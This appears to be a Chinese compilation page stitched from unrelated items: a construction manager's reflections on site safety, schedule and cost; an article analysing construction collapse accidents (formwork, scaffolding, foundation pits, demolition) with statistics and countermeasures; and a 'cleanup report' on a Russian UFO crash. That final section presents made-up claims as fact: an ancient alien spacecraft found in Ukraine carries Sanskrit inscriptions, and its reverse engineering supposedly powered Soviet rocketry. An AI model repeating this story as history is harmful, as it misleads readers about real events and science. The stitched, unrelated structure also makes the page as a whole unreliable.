三、关于安全管理。出了问题后，都在那找原因，找借口。没出问题时，没见几个人去找安全隐患，找安全管理漏洞！我们所有现场施工管理人员，现在都高举着安全第一，质量第二，效益第三的旗帜。我个人认为，所有的安全事故的发生，都是由于我们管理人员没有尽职所造成的。虽然，钢结构工程相较于土建工程来说要简单得多。但就是这样，也没有见哪几个项目部在进场施工时就做好安全事故紧急预案的。提议在这方面公司加大培训力度。高空作业的所有安全注意事项我们都知道，都了然于心。开工时，也都用书面形式给施工工人作了交底，但那都是形式。我们要做的，更应该是每天去不断检查，不断提醒。特别是在几个重要的施工环节比如檩条的安装，及关于在檩条上面施工的安全注意事项。总结一下，这几年几乎大部分安全事故，都是和檩条有直接关系的。所以，我们在做好平时安全工作的同时，到了檩条施工及关于檩条的有关工序时，要每天直接面对施工工人，将每个环节都分析和讲解清楚，提醒他们要特别注意。在几个重要施工环节，我一直坚持这样做。在我所做的所有工程过程中，我最担心的就是安全问题。一旦安全出了问题，所有的管理都是无效管理，所有本工程的利润都是空头利润。质量出了问题有时还可以弥补，安全出了问题，绝大多数是不可逆的。这个大家都知道，但现实施工管理中，大家都存在侥幸心理，认为在安全措施上投放太多力量，实在没有必要。关于施工安全管理，我们一直在做，但我们一直没有做好。
四、关于工期及施工成本控制的管理。就单个工程来说，还真没有什么好说的。每一个工程的工期延长或者施工成本的增加，都有它的特殊性和不可预见性。说白了，很多时候这些并不是现场施工管理人员所能完全控制的。我们作为具体项目实施者，所能控制的就是在职责权限内，尽其所能地合理安排工序，合理组织施工人员。很多时候，工期的延长是一个系统原因，各种因素的累加而造成的。比如对方资金不能及时到位，比如加工厂材料无法按时进场，比如施工过程中的设计变更比如极端的特殊的天气等等。在成本控制方面，我们主要做的就是尽量减少施工工资的增加，杜绝因施工质量不过关而发生的返工，压缩非生产性的开支。凭心而论，在施工成本控制这方面，我们每个人都没有真正做好。如果是自己私人的工程，我相信，在某些方面，大家都会做得更好，特别是成本控制这方面。
以上几点，是我这几年在公司现场施工管理中学习到的和虽然学习到了但没有做好的，虽然有些地方做到了，但仍需要更上一层楼的。还有很多想法，还有很多教训，留给其他同事补充。没有批评谁的意思，更多的是想自我批评和自我反省和自我提高。
7.建筑施工现场坍塌事故调查研究 篇七
随着我国经济的快速发展,作为国民经济支柱产业之一的建筑业也在蓬勃发展。建筑业具有劳动力密集、多工种交叉作业、劳动强度大、危险系数高等特点,安全隐患无处不在。建筑物的坍塌事故时有发生,伤亡惨重。目前,我国对建筑事故的研究主要集中在五大伤害之首的“高处坠落”上,对伤亡率极高的坍塌事故的研究甚少。国家安监总局统计的数字显示,2009年1月至4月,全国建筑事故总数一直呈递减趋势,全国共发生各类建筑事故452起,死亡573人,同比分别下降13.7%和8%。其中较大事故起数和死亡人数同比分别减少17.9%和4%。然而,5月、6月连续发生多起施工现场坍塌、施工人员坠落事故,给建筑施工蒙上了一层阴影。本文以建筑施工现场的坍塌事故为对象,以近年的坍塌事故数据为依托,对坍塌事故的特点、发生趋势、原因进行分析,并给出相应的应对措施。
2 我国建筑坍塌事故现状分析
2003—2009年我国建筑坍塌数据统计如图1[1]。
由图1可见,近年来我国建筑行业安全事故总体呈下降态势,即事故数量,事故死亡人数和重伤人数均有下降;坍塌事故的数量和死亡人数减少率的波动幅度较大。其中,2003-2009年坍塌事故数量、死亡人数、重伤人数分别占建筑事故总事故数量、死亡人数、重伤人数的百分比范围为11.2%-15.7%,14.6%-22.8%,37.4%-54.6%。由此看出,坍塌事故的数量和死亡人数所占比例并不大,波动范围也比较小,而重伤人数所占比例最高可达54.6%,且始终保持在较高水平。综合2003-2009年的数据,坍塌事故的数量占总建筑事故的14%,坍塌事故导致的死亡人数占所有死亡人数的20%,但是其重伤人数却高达总量的45%,足见坍塌事故的高危害性。坍塌事故一旦发生,伤亡极其惨重。
《建设工程安全生产管理条例》[3]规定的7项危险性较大分部分项工程中包括基坑支护与降水工程、模板工程、脚手架工程和拆除、爆破工程,而且施工过程中主要出现的坍塌事故类型为脚手架坍塌、模板坍塌、基坑坍塌和拆除工程坍塌,下面着重探讨以上四种坍塌事故的发生机理和应对措施。2009年以来我国建筑坍塌类型统计见表1[2]。由于很多建筑网站上并未就坍塌事故作出详细的种类划分,图1和表1的数据来源不一致,因此导致了图1和表1的2009年数据的不统一。但尽管如此,在表1的数据样本中仍然可以分析出所选的四种坍塌类型的相对比例关系。
由表1可见,在以上四种坍塌事故中,模板坍塌的危害性最大,突出表现在死伤人数最多,其死亡人数占这四种坍塌事故总量的比例分别是34.3%、58.2%和53.8%,受伤人数所占比例分别为30.0%、66.0%和55.2%。脚手架坍塌位居第二。2009年到2010年上半年期间,脚手架坍塌事故增长较快,死亡人数和受伤人数大幅度增加;模板坍塌事故前期以较快速率增长,后期较为稳定;基坑坍塌事故在小范围内波动;拆除工程的坍塌事故各项指数都很小,而且只有微小的变化。
3 致因分析
根据表1的四种坍塌事故类型对其原因进行剖析。
3.1 模板坍塌
由表1可知,四种坍塌事故类型中,模板坍塌事故数量最高、死伤最大,仅2010年上半年就高达15起,43人死亡,85人受伤。
(1)未准确判断与识别模板工程危险源,编制施工方案时考虑的不够全面,支撑体系的安全技术设计不到位,而且施工人员经常未严格按照施工方案搭设模板支撑系统[4]。
(2)模板施工前没有经过精确核算,所用模板的刚度和强度不足,钢材、胶合板等不符合国家标准[4]。
(3)浇筑混凝土时,缺乏对模板的实时监护,在承压力和侧压力的作用下模板容易变形、炸模,从而引发坍塌事故[4,5]。
3.2 脚手架坍塌事故
由表1可知,脚手架坍塌事故所占比例位居第二,而且伤亡人数的增长率很大,如2009年下半年比上半年增长了近一倍。如何有效防治脚手架坍塌事故,是建筑业亟待解决的问题。
(1)建筑业对脚手架的材料和质量有较高要求,但部分施工单位贪图便宜,选用一些质量低劣、容易扭曲变形的脚手架杆件及配件,加大了坍塌事故发生的风险[6]。
(2)在脚手架搭建过程中,脚手架的安装设计不合理,杆件间距过大、剪力撑或连墙体的设计不规范[6,7]。
(3)很多建筑工地没有配备专业的架子工,脚手架的搭建人员并不具备施工资质,在搭建过程中盲目遵照个人经验,易导致脚手架支撑体系失稳[4,6,8]。
3.3 基坑坍塌
由表1可知,基坑坍塌事故数量总体不高。基坑坍塌原因主要为如下三点。
(1)施工单位未按照设计要求施工,有的施工单位甚至在缺少相关设计图纸、支护方案未经专家认证的情况下,就草率开始施工[7,8]。
(2)在施工前,对工程概况、周围建筑物的分布以及地下水的控制缺乏深入的了解,没有结合施工区域内地质条件,明确指定选用的降水、截水措施和基坑边坡支护形式。尤其遇到暴雨等自然现象时,没有切实可行的方案进行适时排水[4,7]。
(3)现场监测人员在施工期间未对邻近建筑物的沉降和位移变化加以监测,甚至出现了基坑坍塌的明显预兆,也没能引起应有的重视,更没有采取针对性的措施[4]。
3.4 拆除工程的坍塌
由表1知,拆除工程的坍塌事故数量最少,而且伤亡人数最低。拆除工程的坍塌原因主要为如下三点。
(1)施工时,违反规定随意改变拆除的顺序,甚至数层同时拆除,容易造成毗邻部位建筑物的倒塌[4]。
(2)施工前准备工作不够充分,未对施工场所和对象进行实地勘测,不熟悉其物理结构,导致编制拆除方案时设计有误[8]。
(3)拆除作业时,施工人员的技术水平没有达到要求,随意搭建脚手架等支撑体系,导致结构失稳,为坍塌事故的发生埋下隐患[4,9]。
4 防治对策
根据以上对模板坍塌、脚手架坍塌、基坑坍塌和拆除工程的坍塌的统计分析,针对导致事故的主要原因提出以下防治对策。
具体来说,可分为以下四个方面:
4.1 模板坍塌防治对策[4,5,6]
(1)施工前合理制定操作方案,并严格加以执行,特别是对支撑体系的稳度问题。
(2)所用模板的刚度和强度必须按照规定合理选取,避免出现过载的问题。
(3)在浇筑混凝土时,要注重对模板的实时监测,记录模板的变形情况。
4.2 脚手架坍塌防治对策[4,7,8]
(1)施工单位应严把材料质量关,杜绝不合格的脚手架构件进入施工现场。在使用过程中可以不定期的随机检查,防止以次充好。
(2)在专业人士的指导下确保脚手架的规范安装。
(3)施工人员需进行基本的专业培训,达到安全施工的要求,才允许上架施工。
4.3 基坑坍塌防治对策[7,8]
(1)施工单位应在熟悉作业任务和环境的前提下,设计切实可行的施工方案,而且需由专业技术人员审核通过后,方能开始施工。
(2)熟悉作业环境的地理情况,选定合适的基坑支护形式和排水措施,并针对暴雨等紧急情况编制应急预案。
(3)对基坑支护、毗邻建筑物进行沉降和变形观测,且详细做好记录。在发现坍塌的明显征兆时,应立即上报并采取有效措施。
4.4 拆除工程坍塌防治对策[4,8,9,10]
(1)拆除工程应自上而下依次进行,先拆承重部分,后拆非承重部分,禁止数层同时拆除,施工过程中不仅要确保人员的安全,还要确保未拆除部分的稳定。
(2)施工前,必须对施工场地进行全面勘测,找出事故易发部位,并根据检测结果编制有针对性的施工方案。
(3)建筑业拆除人员必须坚持先培训,后上岗的原则,考核合格后才能从业,使其充分掌握拆除作业安全技术和施工要领。
5 结束语
建筑坍塌事故虽然在建筑事故总数中所占比例不大,但其重伤和死亡人数所占比例较高,尤其是重伤人数所占比例接近半数。施工过程中的坍塌事故主要为模板坍塌、脚手架坍塌、基坑坍塌、拆除工程的坍塌四种类型,其中以模板坍塌事故数量最多,危害最为严重,根据其产生原因有针对性地采取措施可以有效地减少和预防坍塌事故。
参考文献
[1]中国建设工程咨询网事故快报专栏http;//www.cocb.org.cn/xinxigongkai/shigu/1.html
[2]中国建设网http://news.cbi360.com/list.aspx?clas-sid=1
[3]2003年《建筑安全生产管理条例》第四章第二十六条
[4]那建兴,范利霞,吕家骥,等.建筑施工安全技术资料与交底编制[M].北京:中国铁道出版社,2009.10
[5]宋川,王铁良,汤久新.模板工程施工质量事故处理与预防[J].沈阳农业大学学报,2004(2)
[6]廖亚立.建筑施工安全管理小全书[M].哈尔滨:哈尔滨工程大学出版社,2009.7
[7]王晟,王清葵.建筑施工工地安全检查及临时用电[M].北京:中国电力出版社,2009
[8]住房和城乡建设部工程质量安全监管司,建筑工程安全生产技术[M].北京:中国建筑工业出版社,2008
[9]《建筑设计标准规范一查通》编委会.建筑设计标准规范一查通[M].哈尔滨:哈尔滨工程大学出版社,2009.9
8.俄罗斯飞碟坠毁现场清理报告 篇八
这是一个奇怪的东西，被埋在地下五六米的深处，像银子，无缝流线型缸，直径三四米，五六米长，其尾部切割得很齐，显然是另外一个物体的一部分。其两侧有狭窄的附着体，所以整体看上去像一支箭。
军方的现场工程师出动立刻隔离了现场，对其进行了挖掘，据推测这个物体可能是外国的导弹。出于高度保密，这个东西被装到一个卡车装卸台上，用柏油帆布盖着，从乌克兰运往俄罗斯一个名叫Podlipki的地方，位于莫斯科东北（后来这个城市改名为加里宁格勒，现在是莫斯科附近的Komlyev镇）。俄罗斯的第一个导弹研究中心就设在那里。
这个发现得到了非常仔细的研究，确定该物在地下已经埋了有几千年。事实上，该物最早是在19世纪或20世纪初被著名的考古学家Vikentiy Khvoyka发现的，距离以后的十月革命还很远。他发现的就是所谓的Tripolian文化。这位科学家在此深挖，但没能把那个东西从坑里取出来。
沙皇警察局和当局邀请了基辅州长来做检查，他仔细地检查了这个东西，但是命令将其掩埋。理由是这是一个非同寻常的物体，当时他无法解释或研究它，所以他不敢担此责任。1947年，苏联科学家和先驱导弹设计人有幸能够利用他们在Podlipki的所有设备研究并重新发现这个东西。
经检查确定，找到的只是这个太空船的驾驶舱前部。据估计，这艘飞船有十一二米长。不幸的是，尾部的发动机舱没有找到。前部似乎是被激光切割掉的，显然不是地球上的东西，也不是地球人造的，因为驾驶员的座位非常小，能够看出驾驶员身高仅1.2米。驾驶舱是空的，尸体根本就没找到。里面发现了精密仪器，有拉杆和按钮的控制工具，还有仪表板。
最奇怪的是舱内发现的未知铭文，经识读基本确定是古梵文或古印度语言。
后来有人猜测，该物体是古印度书籍里描述的某种古代“银河战机”。
为研究这个被发现的外星飞船而秘密成立的研究小组由谢尔盖耶·帕夫洛维奇牵头，此人后来成为院士和著名的苏联导弹专家。据说他给同事讲过“‘他们’的眼睛能看，但是长的牙齿却不会嚼”之类的话，这显然指的是那个飞船。飞船的技术极度高明，远远超出了苏联1947年的科学技术水平，其结--构基本上无法理解，而且几乎无法复制。尽管如此，苏联显然还是学到了一些东西，而且在20世纪50年代70年代曾对外星飞船进行过大量的逆向工程。
这次发现最终在相当大的程度上促进了苏联的导弹和空间技术，包括合金设计、仪器设计、控制系统和一些建筑原理。令西方吃惊的是，在基辅的发现10年之后，1957年，苏联成功发射了第一颗人造卫星，而且在1961年，尤里·加加林成为第一位升空的宇航员。当时，这是一个被“二战”整得精疲力竭、几乎夷为废墟的国家，它在航空、空间和导弹技术上还远远落后于美国。
当苏联科学家能够使用激光设备时，保存在加里宁格勒的那个东西被切割下来送去做详细分析。
透露此故事的是一个名叫v.Sukhoveev的基辅居民，他父亲是一位著名的语言学家，当时曾被请去破译飞船舱内的铭文。1962年，谢尔盖耶还被叫去检查另一个坠毁的UFO残片，是在乌拉尔南部奥伦堡省发现的。